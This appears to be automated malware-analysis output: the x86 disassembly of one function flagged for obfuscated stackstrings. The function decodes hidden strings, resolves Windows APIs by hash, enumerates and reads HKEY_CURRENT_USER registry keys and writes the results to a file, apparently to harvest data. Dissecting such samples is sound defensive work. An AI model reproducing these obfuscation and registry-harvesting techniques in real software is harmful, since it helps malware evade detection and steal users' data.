Function at 0x40ec88
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x57c
movaps xmm0, xmmword [0x41b4c0]
xor ecx, ecx
push ebx
movups xmmword [ebp - 0x98], xmm0
push esi
movaps xmm0, xmmword [0x41b0b0]
push edi
movups xmmword [ebp - 0x88], xmm0
mov dword [ebp - 0x78], 0x715f683e
mov dword [ebp - 0x74], 0x7b757f7f
mov word [ebp - 0x70], 0x7f7a
mov byte [ebp - 0x6e], 0
movsx eax, byte [ebp - 0x98]
and eax, 0x8000000f
jns 0x40ecdd
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x97], al
inc ecx
cmp ecx, 0x29
jb 0x40ecca
lea eax, [ebp - 0x97]
mov byte [ebp - 0x6e], 0
push eax
lea ecx, [ebp - 0xfc]
call fcn.00401a09
push 4
mov edx, 0xe4c0d971
pop ecx
call fcn.00404bfc
cmp dword [ebp - 0xe8], 0xf
lea edx, [ebp - 0x54]
lea ecx, [ebp - 0xfc]
cmova ecx, dword [ebp - 0xfc]
push edx
push ecx
push 0x80000001
call eax
test eax, eax
jne 0x40f275
push 4
mov edx, 0x74d881a2
pop ecx
call fcn.00404bfc
push 0x400
lea ecx, [ebp - 0x578]
xor ebx, ebx
push ecx
inc ebx
push 0
jmp 0x40f256
mov edx, 0xe4c0d971
call fcn.00404bfc
mov edi, eax
lea ecx, [ebp - 0x12c]
lea eax, [ebp - 0x578]
push eax
call fcn.00401a09
push ecx
lea edx, [ebp - 0xfc]
mov esi, eax
lea ecx, [ebp - 0x144]
call fcn.0040273e
pop ecx
push esi
push eax
push dword [ebp - 0x54]
lea ecx, [ebp - 0xb0]
call fcn.00409e67
cmp dword [ebp - 0x9c], 0xf
lea ecx, [ebp - 0x50]
lea eax, [ebp - 0xb0]
cmova eax, dword [ebp - 0xb0]
push ecx
push eax
push 0x80000001
call edi
lea ecx, [ebp - 0xb0]
mov esi, eax
call fcn.00401a42
lea ecx, [ebp - 0x144]
call fcn.00401a42
lea ecx, [ebp - 0x12c]
call fcn.00401a42
test esi, esi
jne 0x40f239
xor eax, eax
mov esi, dword [ebp - 0x50]
lea edi, [ebp - 0xe0]
mov dword [ebp - 0x21], 0x7d79527a
stosd dword es:[edi], eax
xor edx, edx
push 0xf
pop ecx
sub esp, 0x18
mov dword [ebp - 0x1d], 0x776b587e
stosd dword es:[edi], eax
mov word [ebp - 0x19], 0x6f
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
lea edi, [ebp - 0x6c]
mov dword [ebp - 0xcc], ecx
stosd dword es:[edi], eax
mov dword [ebp - 0xd0], edx
mov byte [ebp - 0xe0], dl
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
lea edi, [ebp - 0xc8]
mov dword [ebp - 0x58], ecx
stosd dword es:[edi], eax
mov dword [ebp - 0x5c], edx
mov byte [ebp - 0x6c], dl
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ebp - 0xb4], ecx
mov ecx, esp
mov dword [ebp - 0xb8], edx
mov edi, ecx
mov byte [ebp - 0xc8], dl
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov al, 0x7a
mov dword [ecx + 0x10], edx
mov dword [ecx + 0x14], 0xf
mov byte [ecx], dl
mov ecx, edx
movsx eax, al
and eax, 0x8000000f
jns 0x40ee7c
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x20], al
inc ecx
cmp ecx, 8
jae 0x40ee8b
mov al, byte [ebp - 0x21]
jmp 0x40ee6d
sub esp, 0x18
mov byte [ebp - 0x18], dl
lea eax, [ebp - 0x20]
mov ecx, esp
push eax
call fcn.00401a09
lea edx, [ebp - 0xe0]
mov ecx, esi
call fcn.004140e0
mov esi, dword [ebp - 0x50]
add esp, 0x18
mov ecx, esp
mov dword [ebp - 0x2b], 0x6d7b5d28
xor eax, eax
mov dword [ebp - 0x27], 0x7569567a
mov edi, ecx
mov word [ebp - 0x23], 0x6d
xor edx, edx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov al, 0x28
mov dword [ecx + 0x10], edx
mov dword [ecx + 0x14], 0xf
mov byte [ecx], dl
mov ecx, edx
movsx eax, al
and eax, 0x8000000f
jns 0x40eeee
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x2a], al
inc ecx
cmp ecx, 8
jae 0x40eefd
mov al, byte [ebp - 0x2b]
jmp 0x40eedf
sub esp, 0x18
mov byte [ebp - 0x22], dl
lea eax, [ebp - 0x2a]
mov ecx, esp
push eax
call fcn.00401a09
lea edx, [ebp - 0x6c]
mov ecx, esi
call fcn.004140e0
mov esi, dword [ebp - 0x50]
add esp, 0x18
mov ecx, esp
mov dword [ebp - 0x35], 0x26340555
xor eax, eax
mov dword [ebp - 0x31], 0x273a2226
mov edi, ecx
mov word [ebp - 0x2d], 0x31
xor edx, edx
push 0xf
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, edx
pop edi
mov dword [ecx + 0x10], edx
mov dword [ecx + 0x14], edi
mov byte [ecx], dl
mov cl, 0x55
xor byte [ebp + eax - 0x34], cl
inc eax
cmp eax, 8
jae 0x40ef5c
mov cl, byte [ebp - 0x35]
jmp 0x40ef4d
sub esp, 0x18
mov byte [ebp - 0x2c], dl
lea eax, [ebp - 0x34]
mov ecx, esp
push eax
call fcn.00401a09
lea edx, [ebp - 0xc8]
mov ecx, esi
call fcn.004140e0
add esp, 0x30
cmp dword [ebp - 0xd0], 0
je 0x40f1f1
cmp dword [ebp - 0x5c], 0
je 0x40f1f1
mov cl, 0x73
mov dword [ebp - 0x4c], 0x1a242f73
mov dword [ebp - 0x48], 0x2330201d
xor eax, eax
mov dword [ebp - 0x44], 0x70b075d
mov byte [ebp - 0x40], 0
xor byte [ebp + eax - 0x4b], cl
inc eax
cmp eax, 0xb
jae 0x40efc0
mov cl, byte [ebp - 0x4c]
jmp 0x40efb1
lea eax, [ebp - 0x4b]
mov byte [ebp - 0x40], 0
push eax
mov edx, 0x41e7d0
lea ecx, [ebp - 0x114]
call fcn.004026c8
pop ecx
mov edx, 0x58f0d8cc
xor ecx, ecx
call fcn.00404bfc
cmp dword [ebp - 0x100], edi
lea ecx, [ebp - 0x114]
push 0
cmova ecx, dword [ebp - 0x114]
push 0x80
push 4
push 0
push 2
push 4
push ecx
call eax
mov esi, eax
cmp esi, 0xffffffff
je 0x40f1e6
xor edx, edx
mov dword [ebp - 6], 0x110e1114
mov al, 0x14
mov word [ebp - 2], 0xe
mov ecx, edx
movsx eax, al
and eax, 0x8000000f
jns 0x40f037
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 5], al
inc ecx
cmp ecx, 4
jae 0x40f046
mov al, byte [ebp - 6]
jmp 0x40f028
mov byte [ebp - 1], dl
mov cl, 0x5f
mov dword [ebp - 0x17], 0x3e0f555f
mov eax, edx
mov dword [ebp - 0x13], 0x7f652c2c
mov byte [ebp - 0xf], dl
xor byte [ebp + eax - 0x16], cl
inc eax
cmp eax, 7
jae 0x40f06d
mov cl, byte [ebp - 0x17]
jmp 0x40f05e
mov byte [ebp - 0xf], dl
mov cl, 0x64
mov dword [ebp - 0x3f], 0xb286e64
mov eax, edx
mov dword [ebp - 0x3b], 0x5e0a0d03
mov word [ebp - 0x37], 0x44
xor byte [ebp + eax - 0x3e], cl
inc eax
cmp eax, 8
jae 0x40f097
mov cl, byte [ebp - 0x3f]
jmp 0x40f088
mov byte [ebp - 0x36], dl
mov cl, 0x6e
mov dword [ebp - 0xe], 0x1d01266e
mov eax, edx
mov dword [ebp - 0xa], 0x4e541a
xor byte [ebp + eax - 0xd], cl
inc eax
cmp eax, 6
jae 0x40f0bb
mov cl, byte [ebp - 0xe]
jmp 0x40f0ac
lea eax, [ebp - 0xe0]
mov byte [ebp - 7], dl
push eax
lea edx, [ebp - 0xd]
lea ecx, [ebp - 0x88]
call fcn.0040771e
pop ecx
lea ecx, [ebp - 0x3e]
mov edx, eax
push ecx
lea ecx, [ebp - 0x174]
call fcn.00404203
cmp dword [ebp - 0x58], 0xf
pop ecx
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x6c]
cmova ecx, dword [ebp - 0x6c]
push ecx
mov ecx, eax
call fcn.0040266f
push eax
lea ecx, [ebp - 0x144]
call fcn.004019d0
lea eax, [ebp - 0x16]
push eax
lea edx, [ebp - 0x144]
lea ecx, [ebp - 0x15c]
call fcn.00404203
cmp dword [ebp - 0xb4], 0xf
pop ecx
push dword [ebp - 0xb8]
lea ecx, [ebp - 0xc8]
cmova ecx, dword [ebp - 0xc8]
push ecx
mov ecx, eax
call fcn.0040266f
push eax
lea ecx, [ebp - 0x12c]
call fcn.004019d0
lea eax, [ebp - 5]
push eax
lea edx, [ebp - 0x12c]
lea ecx, [ebp - 0xb0]
call fcn.00404203
pop ecx
lea ecx, [ebp - 0x12c]
call fcn.00401a42
lea ecx, [ebp - 0x15c]
call fcn.00401a42
lea ecx, [ebp - 0x144]
call fcn.00401a42
lea ecx, [ebp - 0x174]
call fcn.00401a42
lea ecx, [ebp - 0x88]
call fcn.00401a42
mov edx, 0x36dc45ef
xor ecx, ecx
call fcn.00404bfc
cmp dword [ebp - 0x9c], 0xf
lea edx, [ebp - 0xe4]
push 0
push edx
push dword [ebp - 0xa0]
lea ecx, [ebp - 0xb0]
cmova ecx, dword [ebp - 0xb0]
push ecx
push esi
call eax
mov edx, 0x6e34153e
xor ecx, ecx
call fcn.00404bfc
push esi
call eax
lea ecx, [ebp - 0xb0]
call fcn.00401a42
lea ecx, [ebp - 0x114]
call fcn.00401a42
push 4
mov edx, 0x59b26164
pop ecx
call fcn.00404bfc
push dword [ebp - 0x50]
call eax
lea ecx, [ebp - 0xc8]
call fcn.00401a42
mov edx, dword [ebp - 0x58]
cmp edx, 0xf
jbe 0x40f21f
mov ecx, dword [ebp - 0x6c]
inc edx
call fcn.00401bbe
and dword [ebp - 0x5c], 0
lea ecx, [ebp - 0xe0]
mov dword [ebp - 0x58], 0xf
mov byte [ebp - 0x6c], 0
call fcn.00401a42
push 4
mov edx, 0x74d881a2
pop ecx
call fcn.00404bfc
push 0x400
lea ecx, [ebp - 0x578]
mov esi, ebx
push ecx
inc ebx
push esi
push dword [ebp - 0x54]
call eax
push 4
pop ecx
test eax, eax
je 0x40ed58
mov edx, 0x59b26164
call fcn.00404bfc
push dword [ebp - 0x54]
call eax
lea ecx, [ebp - 0xfc]
call fcn.00401a42
pop edi
pop esi
pop ebx
leave
ret